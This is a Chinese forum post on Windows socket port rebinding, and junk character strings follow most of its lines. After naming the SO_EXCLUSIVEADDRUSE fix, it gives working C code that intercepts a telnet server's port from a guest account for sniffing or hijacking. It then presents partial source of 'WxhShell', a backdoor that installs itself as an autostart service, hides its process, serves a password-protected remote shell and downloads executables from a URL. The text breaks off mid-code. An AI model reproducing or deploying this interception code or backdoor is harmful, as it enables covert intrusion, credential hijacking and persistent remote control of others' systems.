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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 19pFNg'kA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D`'Cnt/  
Br42Qo2"T>  
  saddr.sin_family = AF_INET; VN\VTSZh?\  
N^PkSf[)h5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @$;8k }  
CF\wR;6k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qnt9x,1m_  
#Q-#7|0&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /`nkz  
]s E)-8  
  这意味着什么?意味着可以进行如下的攻击: @3=q9ftm  
yJ ljCu)f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SyT{k\[  
P>_9>k@;Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q@ ;1{  
y65lbl%Z n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h+&iWb3;  
;cPPx`0$9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y|J=72!]  
YK$[)x\S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iVf7;M8O  
~{-Ka>A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ])%UZM6  
h|`R[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v;Q*0%~  
fR+{gazk n  
  #include Doq}UWp  
  #include KhX)maQ  
  #include fE&s 6w&  
  #include    nt-_)4Fm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r:E4Wi{\  
  int main() }[drR(]`dO  
  { _8F;-7Sz  
  WORD wVersionRequested; C]l)Pz$  
  DWORD ret; bmi",UZ:F  
  WSADATA wsaData; yHlQKI  
  BOOL val; 11Qi _T\  
  SOCKADDR_IN saddr; pzUr9  
  SOCKADDR_IN scaddr; .X"&k O>G  
  int err; *tk=DsRW  
  SOCKET s; .O(9\3q\  
  SOCKET sc; 1LhZmv  
  int caddsize; h(J$-SUs  
  HANDLE mt; C&%NO;Ole  
  DWORD tid;   gyV`]uqG  
  wVersionRequested = MAKEWORD( 2, 2 ); eH!V%dX  
  err = WSAStartup( wVersionRequested, &wsaData ); $ <C",&  
  if ( err != 0 ) { iQT0%WaHl  
  printf("error!WSAStartup failed!\n"); }~ N\A  
  return -1; Ea'jAIFPpO  
  } \/gf_R_GN  
  saddr.sin_family = AF_INET; bb\XZ~)F  
   3 |LRb/|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :D;pDl  
.3XiL=^~Qp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rnp; R  
  saddr.sin_port = htons(23); /0Qo(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *O@Zn  
  { !b4AeiL>w  
  printf("error!socket failed!\n"); @ ,;h!vB*=  
  return -1; m|x_++3  
  } :hW(2=%  
  val = TRUE; tX@y ]"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _T~&kwe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VAUd^6Xdwx  
  { PYs0w6o  
  printf("error!setsockopt failed!\n"); 0dS(g&ZR  
  return -1; ?m7i7Dz   
  } 2G!z/OAj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9HiyN>(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ; lrO?sm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CR2.kuM0~  
G %\/[ B  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &DHIYj1 i  
  { P2iuB|B@  
  ret=GetLastError(); *zDDi(@vtK  
  printf("error!bind failed!\n"); /-m)  
  return -1; c;-N RvVb  
  } *B{]  
  listen(s,2); 0T#z"l<L  
  while(1) ,_w}\'?L  
  { *P]]7DR  
  caddsize = sizeof(scaddr); .d$Q5Qae  
  //接受连接请求 '@w'(}3!3R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f}4A ,%:1  
  if(sc!=INVALID_SOCKET) 2J$vX(  
  { BhbfPQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tlg}"lY  
  if(mt==NULL) u2$.EM/iae  
  { uTPAf^|  
  printf("Thread Creat Failed!\n"); :pz@'J  
  break; nnE'zk<"  
  } V=5*)i/  
  } CyHHV  
  CloseHandle(mt); I8B0@ZtV  
  } G|-RscPe  
  closesocket(s); _h,_HW)G  
  WSACleanup(); 3fXrwmBT8  
  return 0; c+T`X?.j  
  }   YRf$?xa  
  DWORD WINAPI ClientThread(LPVOID lpParam) vdB2T2F  
  { i^Jw`eAmT  
  SOCKET ss = (SOCKET)lpParam; F^%\AA]8  
  SOCKET sc; Fv$w:r]q6  
  unsigned char buf[4096]; Jg{K!P|i  
  SOCKADDR_IN saddr; Y"KJ`Rx  
  long num; &b*v7c=o  
  DWORD val; ,,80nW9E  
  DWORD ret; _5(p=Zc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "$K]+0ryG<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z1+Ewq3m  
  saddr.sin_family = AF_INET; h)j#?\KYm9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f?eq-/UR  
  saddr.sin_port = htons(23); w2/3[VZ}l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )K$xu(/K  
  { hu"-dT;4]  
  printf("error!socket failed!\n"); 0`p"7!r  
  return -1; )D'# >!Y  
  } QHUFS{G ]  
  val = 100; 'NfsAE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'W54 T  
  { F`(;@LO  
  ret = GetLastError(); "cly99t  
  return -1; ZF#n(Y?  
  } 'Z9UqEGV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a MFUj+^  
  { tQUKw@@Q  
  ret = GetLastError(); :AqtPV'  
  return -1; *&_cp]3-WF  
  } 5=p<"*zJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *3@8,~_tp  
  { O\Z!7UQ$  
  printf("error!socket connect failed!\n"); L>E{~yh  
  closesocket(sc); `v<S  
  closesocket(ss); OkISR j'!U  
  return -1; Fn4yx~0  
  } PU1YR;[Fe  
  while(1) F6Q%<p a  
  { 8'TIDu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7P*\|Sxk%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t98S[Z(-%+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +_S0  
  num = recv(ss,buf,4096,0); c~OPH 0,  
  if(num>0) /kRCCs8t}  
  send(sc,buf,num,0); 52Dgul  
  else if(num==0)  < ]+Mdy  
  break; wmXI8'~F&  
  num = recv(sc,buf,4096,0); z-g6d(  
  if(num>0) ;1nXJ{jKw  
  send(ss,buf,num,0); Y9vi&G?Jl  
  else if(num==0) iCh 8e>+  
  break; rLmc(-q  
  } ~!7x45( 1#  
  closesocket(ss); ZHeq)5C ;f  
  closesocket(sc); ;/?w-)n?  
  return 0 ; t>*(v#WeZ  
  } 3W#E$^G_v  
!^0vi3I  
nec}grA  
========================================================== QOrMz`OA  
g=qaq  
下边附上一个代码,,WXhSHELL /iQh'rp  
J>;r(j  
========================================================== <6,,:=#  
Cd]A1<6s  
#include "stdafx.h" a&)!zhVP  
gE=9K @  
#include <stdio.h> wS&D-!8v  
#include <string.h> KECW~e`  
#include <windows.h> di9OQ*6a7  
#include <winsock2.h> ^u"WWLZ  
#include <winsvc.h> Y= =5\;-  
#include <urlmon.h> l.Ev]G/5  
sN?Rx}  
#pragma comment (lib, "Ws2_32.lib") ?YV#  K  
#pragma comment (lib, "urlmon.lib") `T7TWv"M  
`l.bU3C  
#define MAX_USER   100 // 最大客户端连接数 /0fsn_  
#define BUF_SOCK   200 // sock buffer o&z[d  
#define KEY_BUFF   255 // 输入 buffer DS7L}]  
e m)%U  
#define REBOOT     0   // 重启 )flm3G2u  
#define SHUTDOWN   1   // 关机 \awkt!Wa  
-Q?c'e  
#define DEF_PORT   5000 // 监听端口 0a<h,s0"2  
8tna<Hx  
#define REG_LEN     16   // 注册表键长度 /7p(%vr  
#define SVC_LEN     80   // NT服务名长度 41+WIa L  
l`:u5\ rM  
// 从dll定义API 1ZYo-a;)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ej6ho0_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @)[8m8paV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R)*l)bpZ#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p$jAq~C  
>b5 ;I1o=y  
// wxhshell配置信息 E.ji;5  
struct WSCFG { &N6[*7  
  int ws_port;         // 监听端口 /]-yZ0hX0O  
  char ws_passstr[REG_LEN]; // 口令 :Mh\;e  
  int ws_autoins;       // 安装标记, 1=yes 0=no /cUu]#h  
  char ws_regname[REG_LEN]; // 注册表键名 +_bxza(ma{  
  char ws_svcname[REG_LEN]; // 服务名 JEWc{)4QD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j&a\ K}U !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]vs}-go  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B>=D$*_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =2NrmwWZs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W+U0Y,N6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }gt)cOaY  
g"m9[R=]6  
}; &HAu;u@  
d8+@K&z|  
// default Wxhshell configuration dKU :\y  
struct WSCFG wscfg={DEF_PORT, .8%b;b  
    "xuhuanlingzhe", :g|NE\z`)/  
    1, 2]5Li/   
    "Wxhshell", 0rI/$  
    "Wxhshell", IhZn  
            "WxhShell Service", /N<aN9Z<x,  
    "Wrsky Windows CmdShell Service", enQW;N1_M  
    "Please Input Your Password: ", a8ouk7 G  
  1, 6oZHSjC*  
  "http://www.wrsky.com/wxhshell.exe", mv~?1aIKD  
  "Wxhshell.exe" zb"4_L@m2  
    }; PeqW+Q.  
3tJfh=r=1  
// 消息定义模块 Q 3^h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e?B}^Dk0i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C8T0=o/-`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p8@&(+z  
char *msg_ws_ext="\n\rExit."; J` gG`?  
char *msg_ws_end="\n\rQuit."; Tbv w?3  
char *msg_ws_boot="\n\rReboot..."; chKEGosbF  
char *msg_ws_poff="\n\rShutdown..."; "p|.[d  
char *msg_ws_down="\n\rSave to "; UA2KY}pz5  
5~jz| T}s  
char *msg_ws_err="\n\rErr!"; t0@AfO.'1  
char *msg_ws_ok="\n\rOK!"; Jp}\@T.  
Ok{1{EmP  
char ExeFile[MAX_PATH];  |:x,|>/  
int nUser = 0; La '6k  
HANDLE handles[MAX_USER]; ~OR^  
int OsIsNt; A?}[rM Z  
P:vp/x!  
SERVICE_STATUS       serviceStatus; `aG _m/7|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U$+,|\9  
;s3\Z^h4kd  
// 函数声明 E"S# d&9  
int Install(void); Z2})n -  
int Uninstall(void); [XDV-6KCE.  
int DownloadFile(char *sURL, SOCKET wsh); sP2Uj  
int Boot(int flag); ZS(%!+M  
void HideProc(void); +lVA$]d  
int GetOsVer(void); 'xG J;pY  
int Wxhshell(SOCKET wsl); !5?_)  
void TalkWithClient(void *cs); _Z9 d.-  
int CmdShell(SOCKET sock); .s,04xW\  
int StartFromService(void); gt(p%~  
int StartWxhshell(LPSTR lpCmdLine); Do\j_  
.Tq8Qdl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MusUgBQy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kV T |(Y  
Sa[lYMuB  
// 数据结构和表定义 y?O-h1"3,  
SERVICE_TABLE_ENTRY DispatchTable[] = tD}-&"REP  
{ 6B7*|R>  
{wscfg.ws_svcname, NTServiceMain}, NQZ /E )f  
{NULL, NULL} Ert={"Q  
}; !uIY,  
Xa#.GrH6  
// 自我安装 AH/o-$C&  
int Install(void) UQ;2g\([  
{ ty"L&$bf  
  char svExeFile[MAX_PATH]; Z4As'al  
  HKEY key; %cUC~, g_(  
  strcpy(svExeFile,ExeFile); 00dY?d{[D  
]cS(2hP7  
// 如果是win9x系统,修改注册表设为自启动 a)=|{QR>W  
if(!OsIsNt) { (?^F }]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^p9V5o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tsb}\  
  RegCloseKey(key); H? Q--pG8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hE`d@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !z4I-a  
  RegCloseKey(key); sZr \mQ~  
  return 0; zx2`0%Q  
    } K\;4;6 g  
  } 7.ein:M|CB  
} V59!}kel1%  
else { Db*b"/]  
Y,}h{*9Kd  
// 如果是NT以上系统,安装为系统服务 cNmAr8^}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); quaRVD>s +  
if (schSCManager!=0) '<<@@.(f  
{ {^N,$,Ab.  
  SC_HANDLE schService = CreateService O#18a,o@  
  ( &g23tT#P?  
  schSCManager, WoGnJ0N q  
  wscfg.ws_svcname, 71P. 9Iz  
  wscfg.ws_svcdisp, ![r)KE=v8I  
  SERVICE_ALL_ACCESS, 0)b1'xt',  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "9aFA(H6w  
  SERVICE_AUTO_START, F*Hovxez  
  SERVICE_ERROR_NORMAL, Vjt7X"_/  
  svExeFile, K39I j_3  
  NULL, bCC &5b  
  NULL, *WJK&  
  NULL, p"~@q}3  
  NULL, Vq`/]&  
  NULL p=> +3  
  ); cQThpgha  
  if (schService!=0) ~uZ9%UB_m  
  { XP%_|Q2X  
  CloseServiceHandle(schService); 7_qsVhh]$E  
  CloseServiceHandle(schSCManager); |ZifrkD=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =1R 2`H\  
  strcat(svExeFile,wscfg.ws_svcname); =LK`m NA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .B2e$`s$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M!!vr8}  
  RegCloseKey(key); m,q)lbRl  
  return 0; N5=}0s]e  
    } ^mFsrw  
  } w_@{v wM$A  
  CloseServiceHandle(schSCManager); qk3 ~]</  
} .-& =\}^2l  
} G:lhrT{  
ps,Kj3^T<  
return 1; zZRLFfz<9  
} t B`"gC~  
 f-[.^/  
// 自我卸载 Ps\4k#aOv  
int Uninstall(void) R_GA`U\ {  
{ -X%t wy=  
  HKEY key; U"Bge\6x=  
bDh4p]lm  
if(!OsIsNt) { C Q iHk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UukY9n];]  
  RegDeleteValue(key,wscfg.ws_regname); noa+h<vGb  
  RegCloseKey(key); r1RM7y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A&v Qtd  
  RegDeleteValue(key,wscfg.ws_regname); 9IG<9uj  
  RegCloseKey(key); (0LA.aBIf  
  return 0; 'sa)_?Hy  
  } #Y-_kQV*  
} *)^ ZUk  
} d$+0 ;D4E  
else { dJ])`S  
i(.PkYkaq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ev [?5R  
if (schSCManager!=0)  (yd(ZY  
{ @zi0:3`#0\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pG)dF@  
  if (schService!=0) l,b,U/3R.  
  { ,H/O"%OJ  
  if(DeleteService(schService)!=0) { V62lN<M  
  CloseServiceHandle(schService); F 8sOc&L  
  CloseServiceHandle(schSCManager); $J)`Ru6.  
  return 0; !qlk-0&`  
  } M3]eqxLC  
  CloseServiceHandle(schService); bVN?7D(  
  } _]Ob)RUVH  
  CloseServiceHandle(schSCManager); qyKR]%yzi  
} =+DhLH}8  
} P2s\f;Dwr  
55<!H-zt  
return 1; )*uotV  
} ;WYz U`<g  
#sjGju"#_  
// 从指定url下载文件 $kmY[FWu?  
int DownloadFile(char *sURL, SOCKET wsh) lcReRcjm  
{ c>/7E-T  
  HRESULT hr; y ,`0f|  
char seps[]= "/"; E U RKzJk  
char *token; -p7 HQ/  
char *file; !~'D;Jh  
char myURL[MAX_PATH]; 5{1=BZftZ  
char myFILE[MAX_PATH]; ~/aCzx~  
Ujvm|ml  
strcpy(myURL,sURL); :cXN Fu\C  
  token=strtok(myURL,seps); MuzQ z.C  
  while(token!=NULL) ?g@X+!RB  
  { =<aFkBX-  
    file=token; u =~`5vA  
  token=strtok(NULL,seps); E1Q#@*rX>  
  } })uyq_nz  
t&5Ne ?  
GetCurrentDirectory(MAX_PATH,myFILE); ?-`&YfF  
strcat(myFILE, "\\"); *L*{FnsV  
strcat(myFILE, file); })(robBkA  
  send(wsh,myFILE,strlen(myFILE),0); !-%%94Q  
send(wsh,"...",3,0); *nHMQ/uf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FoZI0p?L)9  
  if(hr==S_OK) l>s@&%;Mg  
return 0; |90/tNe  
else }>621L3 -  
return 1; +N2ILE8[<  
g@/}SJh/>  
} x=x%F;  
+s`cXTlFrk  
// 系统电源模块 w6mYLK%  
int Boot(int flag) ZzR0k  
{ L|-|DOgw  
  HANDLE hToken; 3X',L*f  
  TOKEN_PRIVILEGES tkp; B^R44j]3"  
, v=pp;  
  if(OsIsNt) { QpoC-4F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x6Gl|e[jv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i$6a0'@U  
    tkp.PrivilegeCount = 1; P&tw!B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *a{WJbau]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /!p}H'jl  
if(flag==REBOOT) { (./Iq#@S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8+Gwv SDU  
  return 0; >T0`( #Lm  
} #(+V&< K  
else { -*J!Ws(9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e?O$`lf  
  return 0; %i?v)EW  
} Y;g\ @j  
  } ICe;p V  
  else { i;|I; 5tC  
if(flag==REBOOT) { psz0q|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :+ 1Wmg  
  return 0; $ZB`4!JxG  
} W* v3B.  
else { A>FWvlLw'm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 01RW|rN  
  return 0; H}CmSo8&  
} q68m*1?y  
} 7<B-2g  
d:_;  
return 1; d1 kE)R  
} ;/+U.I%z  
ST g} Z  
// win9x进程隐藏模块 "i*gJFW|  
void HideProc(void) V(io!8,  
{ Rs"G8Q9Q  
n)35-?R/M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'W("s  
  if ( hKernel != NULL ) p_EM/jI,  
  { =WZ@{z9J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !3DY#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $ O[Y  
    FreeLibrary(hKernel); I-Ut7W  
  } IAe/)  
qss )5a/x.  
return; $ye>;Ek  
} x_C0=Q|K3  
d:#tN4y7(  
// 获取操作系统版本 /J&DYxl":  
int GetOsVer(void) [9MbNJt 8~  
{ 3Z#WAhfS:  
  OSVERSIONINFO winfo; ?*7Mn`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zf^|H% ~^  
  GetVersionEx(&winfo); /Ah&d@b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^kz(/c/?  
  return 1; L$kB(Brw  
  else M1*bT@ 6  
  return 0; H?xY S| n  
} QH,(iX6RY  
o?a3hD  
// 客户端句柄模块 "QiLu=Rq  
int Wxhshell(SOCKET wsl) [9NrPm3d  
{ 0 ?gHRdU"  
  SOCKET wsh; A&WC})H5  
  struct sockaddr_in client; `c-omNu  
  DWORD myID; 'ShK7j$  
\[*q~95$v  
  while(nUser<MAX_USER) /Bh*MH  
{ kBoQjOV`  
  int nSize=sizeof(client); %*Uc,V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h@(+(fVHrp  
  if(wsh==INVALID_SOCKET) return 1; n}(A4^=4KQ  
5wl;fL~e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #5'& |<  
if(handles[nUser]==0) ``6-   
  closesocket(wsh); 3Z&!zSK^  
else FC+h \  
  nUser++; #reW)P>  
  } @' ;.$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Aq3\Q>klH)  
&Vgpv#&Cfx  
  return 0; g0B%3v  
} G|8>Q3D  
QgQ$>  
// 关闭 socket }@tgc?C D  
void CloseIt(SOCKET wsh) "h7Dye  
{ ;ny9q  
closesocket(wsh); kY{$[+-jR  
nUser--; kOq8zYU|  
ExitThread(0); { w sT  
} v'S5F@ln  
BNI)y@E^X  
// 客户端请求句柄 `r~3Pf).4  
void TalkWithClient(void *cs) 9 Qa_3+.B  
{ ._`rh  
6DgdS5GhT_  
  SOCKET wsh=(SOCKET)cs; oVPr`]  
  char pwd[SVC_LEN]; 4neO$^i8J  
  char cmd[KEY_BUFF]; Ek6 g?rj_  
char chr[1]; c/v|e&q  
int i,j; o; U!{G(X  
N3@[95  
  while (nUser < MAX_USER) { g-"GZi  
c$tX3ug6I  
if(wscfg.ws_passstr) { :XG~AR /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %2g<zdab  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<_/Qu>V  
  //ZeroMemory(pwd,KEY_BUFF); 0(:SEiz6s  
      i=0; FOMJRq  
  while(i<SVC_LEN) { vZ.<OD4  
< *;GJ{  
  // 设置超时 jvL!pEC!  
  fd_set FdRead; 9n;6zVV%`  
  struct timeval TimeOut; 5$cjCjY  
  FD_ZERO(&FdRead); w-LENdw  
  FD_SET(wsh,&FdRead); C"_ Roir?  
  TimeOut.tv_sec=8; h0g?=hJq  
  TimeOut.tv_usec=0; /S1/ZI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5s`r&2 w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )7o? }"I  
h,]VWG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  [)~1Lu  
  pwd=chr[0]; v}d)uPl} ;  
  if(chr[0]==0xd || chr[0]==0xa) { Z[ (d7  
  pwd=0; NVsaV;u  
  break; ~T-uk  
  } ar}-~~h 5  
  i++; >8=lX`9f{  
    } 0.w7S6v|&  
UOl*wvy  
  // 如果是非法用户,关闭 socket n_9Ex&?e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 72yJv=G  
} QHf&Z*Xtl  
UXJblo#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [wnp]'+!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #9!7-!4pW  
: MjDcI~  
while(1) { 9!W$S[ABRB  
xy"'8uRi  
  ZeroMemory(cmd,KEY_BUFF); $/;K<*O$  
xz.Jmv  
      // 自动支持客户端 telnet标准   m|c [C\)By  
  j=0; vgD+Y   
  while(j<KEY_BUFF) { GQ7uxdqWBQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~?HK,`0h>  
  cmd[j]=chr[0]; $[,4Ib_|  
  if(chr[0]==0xa || chr[0]==0xd) { hd~#I<8;2  
  cmd[j]=0; s8>y&b.  
  break; $D!/v)3  
  } 2b^Fz0 w4  
  j++;  -D'XxOI  
    } 3]mprX'  
T]-MrnO  
  // 下载文件 [xr^t1  
  if(strstr(cmd,"http://")) { L/C~l3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AD?XJ3  
  if(DownloadFile(cmd,wsh)) R]&Csr#~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(|Z<6  
  else -bHlFNRm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(51\RYkir  
  } 'hs4k|B  
  else { aK@ Y) Ju'  
4Yi kC  
    switch(cmd[0]) { Q!V:=d  
  S_Wq`I@b  
  // 帮助 "V 26\  
  case '?': { p'2IlQ\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4^bt~{}  
    break; F=1 #qo<?  
  } yxp,)os:  
  // 安装 :;]9,n  
  case 'i': { v x/YWZ  
    if(Install()) $Vq5U9-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wtc ib-  
    else UgS`{&b36  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x"NQatdq  
    break; 86Q3d%;-yo  
    } 2J&~b8:  
  // 卸载 >WD HRC  
  case 'r': { kexV~Q  
    if(Uninstall()) e7xBi!I)~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oYZ  4F  
    else 7KhS{w6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rMbq_5}  
    break; 0r1GGEW`s  
    } Z,E$4Z  
  // 显示 wxhshell 所在路径 8TeOh 1\  
  case 'p': { cVL|kYVWT  
    char svExeFile[MAX_PATH]; [B)!  
    strcpy(svExeFile,"\n\r"); 5 k3m"*  
      strcat(svExeFile,ExeFile); /u4RZ|&as  
        send(wsh,svExeFile,strlen(svExeFile),0); J~]@#=,v  
    break; ?1JY6v]h4  
    } ^?+[yvq  
  // 重启 P{6$".kIY  
  case 'b': { Rq5'=L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s~A-qG>  
    if(Boot(REBOOT)) CMW4Zqau*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7XZ|Td4*  
    else { v4"Ukv  
    closesocket(wsh); EXr2d"  
    ExitThread(0); Nb&j?./  
    } 3U{ mC}F  
